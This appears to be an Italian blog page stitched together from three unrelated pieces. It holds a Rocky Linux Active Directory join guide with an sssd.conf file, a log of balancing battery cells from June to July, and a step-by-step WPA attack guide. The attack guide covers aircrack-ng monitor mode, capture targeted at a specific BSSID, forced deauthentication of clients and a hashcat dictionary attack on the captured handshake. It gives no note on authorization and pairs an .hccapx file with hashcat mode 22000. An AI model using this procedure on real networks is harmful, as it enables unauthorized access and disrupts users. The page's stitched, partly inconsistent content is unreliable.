Articoli

Esattamente 2 anni orsono , Red Hat divulgò la notizia che avrebbe cessato lo sviluppo di CentOS , ponendo lo stato di fatto che tale sistema era giunto in EOL .

Personalmente ho iniziato a cercare delle alternative e quindi tra queste ho optato per la distro “Rocky Linux” , compatibile con sistemi Red Hat . Questa offre la potenza e la stabilità in contesti di produzione server e workstation davvero apprezzabili . Ho eseguito l’installazione di tale distro su un sistema cluster Proxmox , che tra l’altro , aggiungo , che ho dovuto apportare piccole modifiche nella creazione di tale VM , in quanto si presentavano continui Kernel Panic al boot .

Le modifiche anzi la modifica necessaria per l’avvio di tale sistema , sta nel cambiare il default della cpu KVM in host CPU , con l’opzione CPU MAX per un contesto cluster . Fatto questo , la distro si avvia regolarmente senza alcun problema di sorta .

Avendo una rete gestita da un server Linux con servizi AD ( foresta 2008 ) elenco qui a seguire i passi necessar per l’accredito al dominio AD :

In primis , occorre entrare in console del sistema e procedere all’installazione dei pacchetti essenziali per effettuare il join su AD .

sudo dnf install realmd oddjob oddjob-mkhomedir sssd adcli krb5-workstation
sudo realm join ad.mycompany.local
sudo update-crypto-policies --set DEFAULT:AD-SUPPORT

Bene , premessa a quanto scritto do per scontato che la date e l’ora di sistema sia corretti e che il resolv.conf punti correttmente al server AD con relativo search .

search internal2.lan
nameserver 192.168.3.123 

Eseguire la procedura classica di join tramite il comando:

realm join -u administartor ad.internal2.lan

Ecco a seguire il file sssd.conf modificato e funzionante .

[sssd]
domains = ad.internal2.lan
config_file_version = 2
services = nss, pam, ssh
default_domain_suffix = ad.internal2.lan

[nss]

homedir_substring = /home

[domain/ad.internal2.lan]

ad_gpo_access_control = permissive krb5_store_password_if_offline = True cache_credentials = True krb5_realm = AD.INTERNAL2.LAN realmd_tags = manages-system joined-with-adcli id_provider = ad override_homedir = /home/%u fallback_homedir = /home/%u@%d override_shell = /bin/bash ad_domain = ad.internal2.lan use_fully_qualified_names = True ldap_id_mapping = True access_provider = ad default_shell = /bin/bash dyndns_update = true dyndns_refresh_interval = 43200 dyndns_update_ptr = true dyndns_ttl = 3600

Molto importante risulta la direttiva “override_shell= /bin/bash ” , in quanto senza questo parametro risulta impossibile avere la shell bash subito dopo aver effettuato il login in ssh .

Bene , eseguite tutte le operazioni sopra descritte , si è pronti per effettuare e provare le connessioni in ssh , chiaramente utilizzando utenti del dominio AD . Per chi volesse installare l’interfaccia GUI , personalmente ho utilizzato GDM e la suite Gnome , senza riscontrare alcun problema di sorta , tranne la sezione di autentica che può essere risolta aggiungendo “adm” allo user del dominio con il quale si effettua il collegamento RDP . Inoltre è importante modiifcare la sezione visudo inerente ai permessi o meglio all’uso del comando “SU” .

—

📅 12 giugno — INIZIO LAVORI

• V_MAX: 3,589 V
• V_MIN: 3,380 V
• ΔV: 0,207–0,215 V
• Celle 1–2 alte, 8–13 basse
• Pacco sano ma fortemente sbilanciato

—

📅 13 giugno — PRIMO RECUPERO

• ΔV: ~0,132 V
• Bleed efficace
• Delta dimezzato
• Celle alte meno polarizzate

—

📅 21 giugno — STABILIZZAZIONE

• ΔV: ~0,130 V
• Cella 8 e 13 recuperano
• Pacco più uniforme

—

📅 23 giugno — MIGLIORAMENTO COSTANTE

• ΔV: 0,123–0,130 V
• Bleed su 6–7 celle
• Punta stabile

—

📅 25 giugno — SOTTO 0,10 V

• ΔV: 0,092–0,101 V
• Pacco quasi uniforme
• SOC 100%

—

📅 27 giugno — PRIMO CICLO COMPLETO

• ΔV: ~0,094 V
• 56,60 V per 1h → 55,20 V float
• Cella 8 ancora bassa ma stabile

—

📅 29 giugno — COMPATTAZIONE

• ΔV: 0,089 V
• Pacco più compatto
• Cella 8 vicina al gruppo

—

📅 30 giugno — SVOLTA

• ΔV: 0,078–0,080 V
• Nessuna cella sotto 3,40 V
• Cella 8 finalmente in banda
• Pacco molto stabile

—

📅 1 luglio — PUNTA

• ΔV: ~0,119 V
• Celle alte meno polarizzate
• Cella 8 stabile

—

📅 1 luglio — FLOAT

• ΔV: ~0,070 V
• Pacco compatto
• Comportamento ripetibile

—

📅 2 luglio — PUNTA

• ΔV: 0,105 V
• Punta stabile
• Cella 8 in recupero continuo

—

📅 2 luglio — FLOAT (MIGLIOR GIORNO)

• ΔV: 0,061–0,064 V
• Profilo piatto
• Cella 8 perfettamente integrata
• Pacco ufficialmente bilanciato

—

📅 8 luglio — STATO ATTUALE (TOP ASSOLUTO)

🔋 Dati reali di oggi

• V_SUM: 55,19–55,21 V
• V_MAX: 3,453–3,455 V
• V_MIN: 3,430–3,431 V
• ΔV: 0,022–0,024 V → MIGLIOR DELTA DI SEMPRE
• Cella 8: 3,430–3,431 V → stabile, prevedibile, perfettamente integrata
• MOSFET: apertura regolare
• Full_Cha_Prot: gestito perfettamente
• Temperatura: 34–36 °C → ideale
• SOH: 100%
• Comportamento: ripetibile, stabile, senza deriva

🎯 Significato tecnico

• Il pacco ha raggiunto la stabilità definitiva.
• La curva di scarica è perfetta: la 8 scende più veloce (normale), ma resta sempre in banda.
• La curva di punta è pulita: nessuna cella scappa, bleed efficace.
• Il delta è da laboratorio (20–24 mV).
• Il pacco è ora super potente, super stabile, super prevedibile.

—

📊 SINTESI TECNICA (12 giugno → 8 luglio)

• Delta iniziale: ~0,21 V
• Delta attuale: 0,022–0,024 V
• Miglioramento totale: ~0,185 V
• Cella 8: 3,380 V → 3,430–3,431 V
• Profilo celle: piatto, nessuna deriva
• Stabilità: massima
• Comportamento: ripetibile
• Pacco: ufficialmente bilanciato e maturo

—

🧠 Conclusione finale (8 luglio)

👉 Il pacco è entrato nella sua forma definitiva.

👉 Bilanciamento completato.

👉 Delta da 20–24 mV: livello premium.

👉 Cella 8 perfettamente integrata.

Guida Tecnica: Acquisizione e Decodifica Handshake WPA

Questa procedura utilizza la suite aircrack-ng su interfaccia wireless wlx20e51702a6ac per catturare un handshake WPA e decodificarlo via hashcat.

Fase 1: Preparazione dell’ambiente

airmon-ng check kill Identifica e termina i processi che interferiscono con la modalità monitor (es. NetworkManager, wpa_supplicant). Rimuove conflitti di gestione radio prima dell’attivazione.

Fase 2: Attivazione modalità monitor

airmon-ng start wlx20e51702a6ac Passa l’interfaccia dalla modalità managed alla modalità monitor, permettendo la ricezione dei pacchetti broadcast e il tuning sulla frequenza corretta.

Fase 3: Scansione generale

airodump-ng -w capture wlx20e51702a6ac Avvia l’ascolto su tutti i canali salvando i pacchetti nel file capture-01.cap. Serve a identificare il BSSID e il canale di lavoro del target.

Fase 4: Monitoraggio mirato

airodump-ng -c 4 --bssid CC:2D:21:31:3F:81 -w capture wlx20e51702a6ac Blocca l’interfaccia sul canale 4 e sul BSSID specifico. Garantisce che tutti i pacchetti del target siano registrati nel file di acquisizione senza perdita per switch di canale.

Fase 5: Iniezione Deauthentication

aireplay-ng --deauth 10 -a CC:2D:21:31:3F:81 wlx20e51702a6ac Invia 10 pacchetti di deautenticazione al BSSID indicato. Forza un client a disconnettersi e riconnettersi, innescando la procedura di negoziazione del handshake WPA.

Fase 6: Conversione formato hcxpcapng

hcxpcapngtool -o handshake_hash.hccapx capture-01.cap Converte il dump .cap nel formato nativo per hashcat (.hccapx). Questo passaggio è necessario perché hashcat non legge direttamente i file aircrack-ng senza conversione.

Fase 7: Attacco brute-force con Hashcat

hashcat -m 22000 handshake_hash.hccapx /usr/share/wordlists/Wordlist_82_million.txt -w 3 --status Esegue l’attacco offline sulla password WPA:

• -m 22000: Algoritmo specifico per il formato hcxpcapng (WPA2).
• /usr/share/wordlists/...: Dizionario di confronto.
• -w 3: Imposta la velocità del worker su “high” per ottimizzare l’uso della GPU/CPU.
• --status: Mostra i progress dell’elaborazione in tempo reale.